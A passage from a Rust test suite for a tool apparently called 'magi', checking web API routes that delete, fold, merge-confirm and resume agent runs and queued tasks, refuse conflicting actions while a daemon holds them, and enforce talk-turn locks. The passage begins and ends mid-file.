16510            list.as_array()
16511                .unwrap()
16512                .iter()
16513                .find(|v| v["id"] == id)
16514                .unwrap()
16515                .clone()
16516        };
16517        let leaf_view = find(&leaf.id);
16518        assert_eq!(
16519            leaf_view["waits_on"],
16520            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
16521        );
16522        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
16523        assert_eq!(
16524            find(&mid.id)["waits_on"],
16525            serde_json::json!([format!("{} (held)", root.short())])
16526        );
16527        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
16528    }
16529
16530    #[tokio::test]
16531    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
16532        let fx = Fixture::start().await;
16533        let q = fx.queue();
16534
16535        // 1. A queued task with runs attached can be deleted.
16536        let mut t1 = Task::new(
16537            "Task 1".to_owned(),
16538            "Instruction 1".to_owned(),
16539            PathBuf::from("/repo"),
16540            Source::Human,
16541        );
16542        let run_id = "20260901-000000-r111";
16543        t1.runs.push(run_id.to_owned());
16544        write_run(&fx.runs(), run_id, RunStatus::Merged);
16545        q.put(&mut t1).expect("put t1");
16546
16547        // Delete by short id
16548        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
16549        assert_eq!(res.status, 204);
16550        assert!(res.body.is_empty(), "204 No Content has no body");
16551        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
16552        assert!(
16553            fx.runs().join(run_id).exists(),
16554            "run directory must not be deleted when its task is deleted"
16555        );
16556
16557        // 2. A task a live daemon is running is refused with 409.
16558        let mut t2 = Task::new(
16559            "Task 2".to_owned(),
16560            "Instruction 2".to_owned(),
16561            PathBuf::from("/repo"),
16562            Source::Human,
16563        );
16564        t2.status = TaskStatus::Running;
16565        q.put(&mut t2).expect("put t2");
16566        let mut beat = crate::daemon::Status::new();
16567        beat.current = vec![crate::daemon::Current {
16568            task: t2.id.clone(),
16569            run: "20260901-000000-r222".to_owned(),
16570        }];
16571        beat.updated_at = jiff::Timestamp::now();
16572        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16573            .expect("publish a heartbeat");
16574        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
16575        assert_eq!(res.status, 409);
16576        assert!(
16577            res.json()["error"]
16578                .as_str()
16579                .unwrap()
16580                .contains("live daemon")
16581        );
16582        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
16583
16584        // 3. The same `running` status and an orphaned lock, with no daemon
16585        // behind either, is a leftover and deletable. Before this the phone
16586        // refused it for good: the status never changes on its own and
16587        // nothing drops a lock whose process is gone.
16588        // The daemon is killed: the file stays, the heartbeat stops.
16589        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
16590        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16591            .expect("leave a stale heartbeat");
16592        let mut t3 = Task::new(
16593            "Task 3".to_owned(),
16594            "Instruction 3".to_owned(),
16595            PathBuf::from("/repo"),
16596            Source::Human,
16597        );
16598        t3.status = TaskStatus::Running;
16599        q.put(&mut t3).expect("put t3");
16600        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
16601        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
16602        assert_eq!(res.status, 204);
16603        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
16604        assert!(
16605            q.claim(&t3.id).is_ok(),
16606            "the stale lock went with it, so the id is claimable again"
16607        );
16608
16609        // 4. Missing id returns 404
16610        let res = fx.delete("/api/queue/nonexistent").await;
16611        assert_eq!(res.status, 404);
16612    }
16613
16614    #[tokio::test]
16615    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
16616        let fx = Fixture::start().await;
16617        let runs = fx.runs();
16618
16619        // 1. Finished and folded run can be deleted along with artifacts
16620        let run_id = "20260901-000000-fold";
16621        let mut state = RunState::new(
16622            PathBuf::from("/repo"),
16623            "main".to_owned(),
16624            "abc".to_owned(),
16625            "instruction".to_owned(),
16626            Config::default(),
16627        );
16628        state.id = run_id.to_owned();
16629        state.status = RunStatus::Merged;
16630        state.candidates.push(crate::run::Candidate {
16631            index: 0,
16632            label: 'A',
16633            agent: "a".to_owned(),
16634            branch: "b".to_owned(),
16635            worktree: PathBuf::from("/w"),
16636            summary: String::new(),
16637            stat: String::new(),
16638            files: 1,
16639            commits: 1,
16640            empty: false,
16641            failed: None,
16642            verified_noop: None,
16643            duration_ms: 0,
16644            folded: true,
16645        });
16646        let dir = runs.join(run_id);
16647        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
16648        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
16649            .expect("write artifact");
16650        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
16651            .expect("write run.json");
16652
16653        // Delete by short id
16654        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
16655        assert_eq!(res.status, 204);
16656        assert!(res.body.is_empty(), "204 has no body");
16657        assert!(!dir.exists(), "run directory and artifacts must be deleted");
16658
16659        // 2. A run a live daemon is working on is refused with 409. The
16660        // heartbeat is what makes it refusable: an unfinished run with no
16661        // daemon behind it is a leftover from a killed process, and case 1
16662        // above would otherwise be impossible to tell apart from this one.
16663        let run_running = "20260901-000000-rung";
16664        write_run(&runs, run_running, RunStatus::Prep);
16665        let mut beat = crate::daemon::Status::new();
16666        beat.current = vec![crate::daemon::Current {
16667            task: "20260901-000000-task".to_owned(),
16668            run: run_running.to_owned(),
16669        }];
16670        beat.updated_at = jiff::Timestamp::now();
16671        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16672            .expect("publish a heartbeat");
16673        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
16674        assert_eq!(res.status, 409);
16675        assert!(
16676            res.json()["error"]
16677                .as_str()
16678                .unwrap()
16679                .contains("live daemon"),
16680            "the refusal must say who is holding it"
16681        );
16682        assert!(
16683            runs.join(run_running).exists(),
16684            "a run in flight keeps its directory"
16685        );
16686
16687        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
16688        let run_unfolded = "20260901-000000-unfd";
16689        let mut state2 = RunState::new(
16690            PathBuf::from("/repo"),
16691            "main".to_owned(),
16692            "abc".to_owned(),
16693            "instruction".to_owned(),
16694            Config::default(),
16695        );
16696        state2.id = run_unfolded.to_owned();
16697        state2.status = RunStatus::Ready;
16698        state2.candidates.push(crate::run::Candidate {
16699            index: 0,
16700            label: 'A',
16701            agent: "a".to_owned(),
16702            branch: "b".to_owned(),
16703            worktree: PathBuf::from("/w"),
16704            summary: String::new(),
16705            stat: String::new(),
16706            files: 1,
16707            commits: 1,
16708            empty: false,
16709            failed: None,
16710            verified_noop: None,
16711            duration_ms: 0,
16712            folded: false,
16713        });
16714        let dir2 = runs.join(run_unfolded);
16715        std::fs::create_dir_all(&dir2).expect("create dir2");
16716        std::fs::write(
16717            dir2.join("run.json"),
16718            serde_json::to_string(&state2).unwrap(),
16719        )
16720        .expect("write run.json");
16721
16722        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
16723        assert_eq!(res.status, 409);
16724        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
16725        assert!(dir2.exists(), "unfolded run directory is kept");
16726
16727        // 4. Missing id returns 404
16728        let res = fx.delete("/api/runs/nonexistent").await;
16729        assert_eq!(res.status, 404);
16730    }
16731
16732    /// The queue tiles on the Stats tab must render even on a home with no
16733    /// runs at all: queue state is not derived from run history, so hiding
16734    /// the whole dashboard body behind "no runs yet" would drop the one
16735    /// thing this tab promises unconditionally (queued/running/held/done).
16736    /// A DOM-level test would need a browser this suite does not have, so
16737    /// this pins the same invariant textually: `renderStatsQueue` is called
16738    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
16739    /// block that gates the run-derived panels.
16740    #[test]
16741    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
16742        let start = APP_JS
16743            .find("function renderStats() {")
16744            .expect("renderStats");
16745        let end = start
16746            + APP_JS[start..]
16747                .find("function statsTile(")
16748                .expect("the next top-level function");
16749        let body = &APP_JS[start..end];
16750
16751        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
16752        let gate_end = gate_start
16753            + body[gate_start..]
16754                .find("}\n  renderStatsQueue")
16755                .expect("the gate's own closing brace, right before the unconditional call");
16756        let gated = &body[gate_start..gate_end];
16757
16758        assert_eq!(
16759            body.matches("renderStatsQueue(").count(),
16760            1,
16761            "renderStats must call renderStatsQueue exactly once: {body}"
16762        );
16763        assert!(
16764            !gated.contains("renderStatsQueue"),
16765            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
16766             run-derived panels on an empty run history - the queue panel has to render \
16767             regardless: {gated}"
16768        );
16769    }
16770
16771    #[test]
16772    fn web_ui_delete_contract_in_front_end() {
16773        // 1. API block has both delete endpoints
16774        assert!(APP_JS.contains("deleteRun:"));
16775        assert!(APP_JS.contains("deleteTask:"));
16776
16777        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
16778        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
16779            ..APP_JS.find("function renderRuns").unwrap()];
16780        assert!(!run_cards_slice.to_lowercase().contains("delete"));
16781
16782        // 3. Run detail has delete entry and reasons
16783        assert!(APP_JS.contains("renderRunDelete"));
16784        assert!(APP_JS.contains("runDeleteReason"));
16785        assert!(APP_JS.contains("magi fold"));
16786        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
16787
16788        // 4. Two-step delete arming and focus on Cancel
16789        assert!(APP_JS.contains("cancel.focus"));
16790        assert!(APP_JS.contains("armedRunDelete"));
16791        assert!(APP_JS.contains("renderTaskDeleteBox"));
16792        assert!(APP_JS.contains("armed${cap(key)}"));
16793
16794        // 5. Running task has disabled delete
16795        assert!(APP_JS.contains("disabled: status === \"running\""));
16796    }
16797
16798    /// Every element a run card's updater reaches for must be in the `refs`
16799    /// the builder handed it.
16800    ///
16801    /// `createRunCard` builds its elements, appends them to the card, and then
16802    /// lists them again in `row.refs`. That second list is the one the updater
16803    /// uses, and nothing connects the two - an element can be built, appended
16804    /// and rendered, and still be missing from `refs`. `superseded` was, for
16805    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
16806    /// exception took `syncList` with it, and the deck showed
16807    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
16808    /// line is computed before the cards, which is why the failure looked like
16809    /// a server that had lost its runs rather than a front end that had
16810    /// stopped rendering them.
16811    ///
16812    /// A `cargo test` cannot execute the front end, so this reads the two
16813    /// halves out of the source and compares them as sets. It is not a check
16814    /// on the wording of either list: adding an element, renaming one, or
16815    /// reordering them all keeps this passing, and only using one the builder
16816    /// never published fails it.
16817    #[test]
16818    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
16819        let build = APP_JS
16820            .find("function createRunCard")
16821            .expect("createRunCard exists");
16822        let update = APP_JS
16823            .find("function updateRunCard")
16824            .expect("updateRunCard exists");
16825        let end = APP_JS
16826            .find("function renderRuns")
16827            .expect("renderRuns exists");
16828
16829        // The builder's published set: the object literal assigned to `refs`.
16830        let builder = &APP_JS[build..update];
16831        let open = builder.find("refs = {").expect("createRunCard sets refs");
16832        let literal = &builder[open + "refs = {".len()..];
16833        let close = literal.find('}').expect("the refs literal is closed");
16834        let published: HashSet<&str> = literal[..close]
16835            .split(',')
16836            // `name` and `name: value` both bind `name`.
16837            .filter_map(|entry| entry.split(':').next())
16838            .map(str::trim)
16839            .filter(|name| !name.is_empty())
16840            .collect();
16841        assert!(
16842            published.len() > 5,
16843            "the refs literal did not parse into names: {published:?}"
16844        );
16845
16846        // What the updaters reach for: every `r.<name>`, where `r` is the
16847        // `const r = row.refs` alias both functions open with.
16848        let mut used: Vec<&str> = Vec::new();
16849        let updaters = &APP_JS[update..end];
16850        for (at, _) in updaters.match_indices("r.") {
16851            // `r` must be the whole identifier, not the tail of another one
16852            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
16853            let before = updaters[..at].chars().next_back();
16854            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
16855                continue;
16856            }
16857            let rest = &updaters[at + 2..];
16858            let len = rest
16859                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
16860                .unwrap_or(rest.len());
16861            if len > 0 {
16862                used.push(&rest[..len]);
16863            }
16864        }
16865        assert!(
16866            used.len() > 5,
16867            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
16868        );
16869
16870        let missing: Vec<&str> = used
16871            .iter()
16872            .copied()
16873            .filter(|name| !published.contains(name))
16874            .collect();
16875        assert!(
16876            missing.is_empty(),
16877            "a run card's updater reaches for {missing:?}, which `createRunCard` \
16878             never put in `refs` - every card will throw and the list will \
16879             render empty under a count line that says otherwise. Published: \
16880             {published:?}"
16881        );
16882    }
16883
16884    #[tokio::test]
16885    async fn folding_from_the_phone_reports_what_it_removed() {
16886        let fx = Fixture::start().await;
16887        let runs = fx.runs();
16888
16889        // A run with no candidates has nothing to fold, which is a 200 with an
16890        // honest count rather than an error: the operator asked for the trees
16891        // to be gone and they are.
16892        let id = "20260901-000000-fold";
16893        write_run(&runs, id, RunStatus::Stalled);
16894        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16895        assert_eq!(res.status, 200);
16896        assert_eq!(res.json()["removed_count"], 0);
16897        assert_eq!(res.json()["run"], id);
16898        assert!(
16899            runs.join(id).exists(),
16900            "a fold keeps the run's record; only the worktrees go"
16901        );
16902    }
16903
16904    #[tokio::test]
16905    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
16906        let fx = Fixture::start().await;
16907        let runs = fx.runs();
16908        let wt = fx.home.path().join("wt").join("magi").join("dead");
16909        let id = "20260901-000000-dead";
16910        std::fs::create_dir_all(runs.join(id)).expect("run dir");
16911        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16912        std::fs::create_dir_all(&wt).expect("worktree dir");
16913
16914        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16915        assert_eq!(res.status, 200, "{}", res.body);
16916        assert!(
16917            res.json()["removed_count"].as_u64().unwrap() > 0,
16918            "the worktree this build could not read a state for still went"
16919        );
16920        assert!(
16921            !runs.join(id).exists(),
16922            "an unreadable run has no candidate list to fold selectively, so \
16923             the whole record goes - same as `magi fold` on the CLI"
16924        );
16925    }
16926
16927    #[tokio::test]
16928    async fn deleting_an_unreadable_run_removes_it_wholesale() {
16929        let fx = Fixture::start().await;
16930        let runs = fx.runs();
16931        let wt = fx.home.path().join("wt").join("magi").join("gone");
16932        let id = "20260901-000000-gone";
16933        std::fs::create_dir_all(runs.join(id)).expect("run dir");
16934        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16935        std::fs::create_dir_all(&wt).expect("worktree dir");
16936
16937        let res = fx.delete(&format!("/api/runs/{id}")).await;
16938        assert_eq!(res.status, 204, "{}", res.body);
16939        assert!(!runs.join(id).exists(), "the broken record is gone");
16940        assert!(!wt.exists(), "its worktree is gone too");
16941    }
16942
16943    #[tokio::test]
16944    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
16945        let fx = Fixture::start().await;
16946        let runs = fx.runs();
16947        let id = "20260901-000000-live";
16948        write_run(&runs, id, RunStatus::Implementing);
16949
16950        let mut beat = crate::daemon::Status::new();
16951        beat.current = vec![crate::daemon::Current {
16952            task: "20260901-000000-task".to_owned(),
16953            run: id.to_owned(),
16954        }];
16955        beat.updated_at = jiff::Timestamp::now();
16956        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16957            .expect("publish a heartbeat");
16958
16959        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16960        assert_eq!(res.status, 409);
16961        assert!(
16962            res.json()["error"]
16963                .as_str()
16964                .unwrap()
16965                .contains("live daemon"),
16966            "folding under a running agent would pull its worktree away"
16967        );
16968    }
16969
16970    #[tokio::test]
16971    async fn fold_merged_requires_a_pr_url() {
16972        let fx = Fixture::start().await;
16973        let runs = fx.runs();
16974        let id = "20260901-000000-nourl";
16975        write_run(&runs, id, RunStatus::Blocked);
16976
16977        let res = fx
16978            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
16979            .await;
16980        assert_eq!(res.status, 400, "{}", res.body);
16981
16982        let blank = fx
16983            .post(
16984                &format!("/api/runs/{id}/fold-merged"),
16985                Some(r#"{"pr_url":"   "}"#),
16986            )
16987            .await;
16988        assert_eq!(blank.status, 400, "{}", blank.body);
16989    }
16990
16991    #[tokio::test]
16992    async fn fold_merged_is_404_for_an_unknown_run() {
16993        let fx = Fixture::start().await;
16994        let res = fx
16995            .post(
16996                "/api/runs/nosuchrun/fold-merged",
16997                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16998            )
16999            .await;
17000        assert_eq!(res.status, 404, "{}", res.body);
17001    }
17002
17003    #[tokio::test]
17004    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
17005        let fx = Fixture::start().await;
17006        let runs = fx.runs();
17007        let id = "20260901-000000-livemerge";
17008        write_run(&runs, id, RunStatus::Blocked);
17009
17010        let mut beat = crate::daemon::Status::new();
17011        beat.current = vec![crate::daemon::Current {
17012            task: "20260901-000000-task".to_owned(),
17013            run: id.to_owned(),
17014        }];
17015        beat.updated_at = jiff::Timestamp::now();
17016        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17017            .expect("publish a heartbeat");
17018
17019        let res = fx
17020            .post(
17021                &format!("/api/runs/{id}/fold-merged"),
17022                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
17023            )
17024            .await;
17025        assert_eq!(res.status, 409, "{}", res.body);
17026        assert!(
17027            res.json()["error"]
17028                .as_str()
17029                .unwrap()
17030                .contains("live daemon"),
17031            "correcting a run's merge underneath a running agent would race \
17032             whatever it is doing to the same `status`/`merge` fields"
17033        );
17034    }
17035
17036    /// A pull request `gh` cannot even ask about (no such remote, no such
17037    /// repository) must never be recorded as a merge on a guess - the same
17038    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
17039    /// command line, reached here through the phone route instead.
17040    #[tokio::test]
17041    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
17042        let fx = Fixture::start().await;
17043        let runs = fx.runs();
17044        let id = "20260901-000000-unconfirmed";
17045        write_run(&runs, id, RunStatus::Blocked);
17046
17047        let res = fx
17048            .post(
17049                &format!("/api/runs/{id}/fold-merged"),
17050                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
17051            )
17052            .await;
17053        assert_eq!(res.status, 400, "{}", res.body);
17054        assert_eq!(
17055            read_run(&runs, id).unwrap().status,
17056            RunStatus::Blocked,
17057            "a pull request that could not be confirmed merged must leave \
17058             the run exactly where it was"
17059        );
17060    }
17061
17062    #[tokio::test]
17063    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
17064        let fx = Fixture::start().await;
17065        let runs = fx.runs();
17066
17067        // Only a finished run and a failed one. An *interrupted* run - a
17068        // parked one, or one whose daemon was killed mid-node - is the case
17069        // resuming exists for: run 4043 sat at `reviewing` with the deck
17070        // saying it could not be resumed, which was the one state where
17071        // resuming was the only sensible answer.
17072        for (status, word) in [
17073            (RunStatus::Merged, "merged"),
17074            (RunStatus::Ready, "ready"),
17075            (RunStatus::Failed, "failed"),
17076        ] {
17077            let id = format!("20260901-000000-{}", &word[..4]);
17078            write_run(&runs, &id, status);
17079            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
17080            assert_eq!(res.status, 409, "{word} must not be resumable");
17081            let err = res.json()["error"].as_str().unwrap().to_owned();
17082            assert!(err.contains(word), "the refusal names the status: {err}");
17083        }
17084
17085        // And an interrupted run is accepted: 202, with the resume running in
17086        // the background. `Runner::resume` fails immediately here - the
17087        // fixture's run points at a repository that does not exist - which is
17088        // the point: the handler must not wait for it to find out.
17089        let mid = "20260901-000000-midf";
17090        write_run(&runs, mid, RunStatus::Reviewing);
17091        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
17092        assert_eq!(res.status, 202, "an interrupted run is resumable");
17093    }
17094
17095    #[tokio::test]
17096    async fn resume_is_refused_while_the_loop_is_running() {
17097        let fx = Fixture::start().await;
17098        let runs = fx.runs();
17099        let stalled = "20260901-000000-stal";
17100        write_run(&runs, stalled, RunStatus::Stalled);
17101
17102        // The loop is busy with a *different* run, and that is still a
17103        // refusal: a manual resume must never race whatever the loop itself
17104        // is already driving, whether that is one run or several.
17105        let mut beat = crate::daemon::Status::new();
17106        beat.current = vec![crate::daemon::Current {
17107            task: "20260901-000000-task".to_owned(),
17108            run: "20260901-000000-othr".to_owned(),
17109        }];
17110        beat.updated_at = jiff::Timestamp::now();
17111        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
17112            .expect("publish a heartbeat");
17113
17114        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
17115        assert_eq!(res.status, 409);
17116        let err = res.json()["error"].as_str().unwrap().to_owned();
17117        assert!(err.contains("othr"), "it names what the loop is on: {err}");
17118        assert!(err.contains("stop it first"), "{err}");
17119    }
17120
17121    #[test]
17122    fn a_run_cannot_be_resumed_twice_at_once() {
17123        let home = TempDir::new().expect("temp home");
17124        let ui = Ui::new(
17125            Queue::at(home.path().join("queue")),
17126            Questions::at(home.path().join("questions")),
17127            Talks::at(home.path().join("talks")),
17128            home.path().join("runs"),
17129            home.path().to_path_buf(),
17130            PathBuf::from("/repo"),
17131        )
17132        .with_worktrees_root(home.path().join("wt"));
17133        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
17134        let again = ui.begin_resume("20260901-000000-once");
17135        assert!(again.is_err(), "a second tap must not start a second graph");
17136        drop(first);
17137        assert!(
17138            ui.begin_resume("20260901-000000-once").is_ok(),
17139            "and the claim is released when the attempt ends"
17140        );
17141    }
17142
17143    #[test]
17144    fn talk_thinking_tracks_only_its_held_turn_claim() {
17145        let home = TempDir::new().expect("temp home");
17146        let ui = Ui::new(
17147            Queue::at(home.path().join("queue")),
17148            Questions::at(home.path().join("questions")),
17149            Talks::at(home.path().join("talks")),
17150            home.path().join("runs"),
17151            home.path().to_path_buf(),
17152            PathBuf::from("/repo"),
17153        )
17154        .with_worktrees_root(home.path().join("wt"));
17155        let id = "20260901-000000-once";
17156
17157        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
17158        let turn = ui.begin_talk_turn(id).expect("claim turn");
17159        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
17160        assert!(
17161            !ui.is_thinking("20260901-000000-other"),
17162            "one talk's turn does not make another talk busy"
17163        );
17164        drop(turn);
17165        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
17166    }
17167
17168    #[test]
17169    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
17170        let home = TempDir::new().expect("temp home");
17171        let talks = Talks::at(home.path().join("talks"));
17172        let ui = Ui::new(
17173            Queue::at(home.path().join("queue")),
17174            Questions::at(home.path().join("questions")),
17175            talks.clone(),
17176            home.path().join("runs"),
17177            home.path().to_path_buf(),
17178            PathBuf::from("/repo"),
17179        )
17180        .with_worktrees_root(home.path().join("wt"));
17181        let id = "20260901-000000-cross";
17182
17183        let other = Talks::at(home.path().join("talks"))
17184            .claim_turn(id)
17185            .expect("claim")
17186            .expect("the other process wins");
17187        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
17188        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
17189        assert!(
17190            matches!(
17191                ui.begin_talk_turn_unless_pending(id).expect("start"),
17192                TalkTurnStart::Foreign
17193            ),
17194            "a foreign holder is refused, not queued behind"
17195        );
17196        assert!(
17197            !ui.talk_turns.lock().unwrap().live.contains(id),
17198            "a refused claim leaves no in-process entry behind"
17199        );
17200        drop(other);
17201        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
17202        assert!(talks.turn_held(id), "the web turn holds the lease");
17203        drop(turn);
17204        assert!(
17205            !talks.turn_held(id),
17206            "dropping the guard releases the lease"
17207        );
17208    }
17209
17210    fn consult_question(ui: &Ui) -> Question {
17211        let mut q = Question::new(
17212            "20260901-000000-consult".to_owned(),
17213            "implement".to_owned(),
17214            "impl-A".to_owned(),
17215            "Which backend?".to_owned(),
17216            String::new(),
17217            vec!["SQLite".to_owned(), "Redis".to_owned()],
17218        );
17219        ui.questions.put(&mut q).expect("question");
17220        q
17221    }
17222
17223    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
17224        (
17225            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
17226            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
17227        )
17228    }
17229
17230    #[tokio::test]
17231    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
17232        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
17233        let q = consult_question(&ui);
17234        let talk = ui.talks.get(&id).expect("talk");
17235        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
17236        let before = consult_snapshot(&ui, &q, &id);
17237        let cli_talks = Talks::at(ui.home.join("talks"));
17238        assert_eq!(
17239            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
17240                .await
17241                .expect("CLI starter"),
17242            crate::consult::Started::Busy
17243        );
17244        assert_eq!(consult_snapshot(&ui, &q, &id), before);
17245        assert!(ui.is_thinking(&id));
17246        drop(guard);
17247        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
17248    }
17249
17250    #[tokio::test]
17251    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
17252        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
17253        let q = consult_question(&ui);
17254        let talk = ui.talks.get(&id).expect("talk");
17255        let started = tmp.path().join("started");
17256        let release = tmp.path().join("release");
17257        let script = tmp.path().join("consult-agent.sh");
17258        std::fs::write(
17259            &script,
17260            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
17261        )
17262        .expect("script");
17263        let mut cfg = stub_config();
17264        cfg.agents[0].id = "mock".to_owned();
17265        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
17266        cfg.agents[0].env = std::collections::BTreeMap::from([
17267            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
17268            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
17269        ]);
17270        let questions = ui.questions.clone();
17271        let cli_talks = Talks::at(ui.home.join("talks"));
17272        let cli_q = q.clone();
17273        let turn = tokio::spawn(async move {
17274            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
17275        });
17276        let ready = tokio::time::timeout(Duration::from_secs(30), async {
17277            while !started.exists() {
17278                tokio::time::sleep(Duration::from_millis(10)).await;
17279            }
17280        })
17281        .await;
17282        // Always release and join the agent, even if readiness or the web
17283        // request fails, so a failed assertion cannot leave a turn behind.
17284        let refusal = if ready.is_ok() {
17285            let before = consult_snapshot(&ui, &q, &id);
17286            let result = talk_say(
17287                State(Arc::clone(&ui)),
17288                Path(id.clone()),
17289                Ok(Json(NewTalkTurn {
17290                    reply_to: None,
17291                    text: "another message".to_owned(),
17292                    attachments: Vec::new(),
17293                })),
17294            )
17295            .await;
17296            Some((result, before, consult_snapshot(&ui, &q, &id)))
17297        } else {
17298            None
17299        };
17300        std::fs::write(&release, "").expect("release agent");
17301        let done = turn.await.expect("join CLI turn");
17302        ready.expect("agent started before deadline");
17303        let (result, before, after) = refusal.expect("web request");
17304        let error = result.expect_err("web must refuse the CLI's turn");
17305        assert_eq!(error.status, StatusCode::CONFLICT);
17306        assert!(error.message.contains("a turn is already running"));
17307        assert_eq!(
17308            after, before,
17309            "refusal preserves question, draft and history"
17310        );
17311        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
17312        let guard = ui
17313            .begin_talk_turn(&id)
17314            .expect("web claim")
17315            .expect("free again");
17316        drop(guard);
17317    }
17318
17319    #[test]
17320    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
17321        let home = TempDir::new().expect("temp home");
17322        let talks = Talks::at(home.path().join("talks"));
17323        let ui = Ui::new(
17324            Queue::at(home.path().join("queue")),
17325            Questions::at(home.path().join("questions")),
17326            talks.clone(),
17327            home.path().join("runs"),
17328            home.path().to_path_buf(),
17329            PathBuf::from("/repo"),
17330        )
17331        .with_worktrees_root(home.path().join("wt"));
17332        let id = "20260901-000000-order";
17333        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17334        // Hold the slot mutex so the drop can finish the lease but not the slot.
17335        let slots = ui.talk_turns.lock().unwrap();
17336        let dropper = std::thread::spawn(move || drop(turn));
17337        let start = std::time::Instant::now();
17338        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
17339            std::thread::sleep(Duration::from_millis(5));
17340        }
17341        assert!(!talks.turn_held(id), "the lease is released first");
17342        assert!(slots.live.contains(id), "the slot is still held meanwhile");
17343        drop(slots);
17344        dropper.join().expect("join");
17345        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
17346    }
17347
17348    #[tokio::test]
17349    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
17350        let fx = Fixture::start().await;
17351        // Somebody else's `magi serve` owns the queue. Replacing this binary
17352        // would leave that process running an old one against the same
17353        // claims, which is worse than refusing.
17354        let mut beat = crate::daemon::Status::new();
17355        beat.pid = 4321;
17356        beat.updated_at = jiff::Timestamp::now();
17357        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
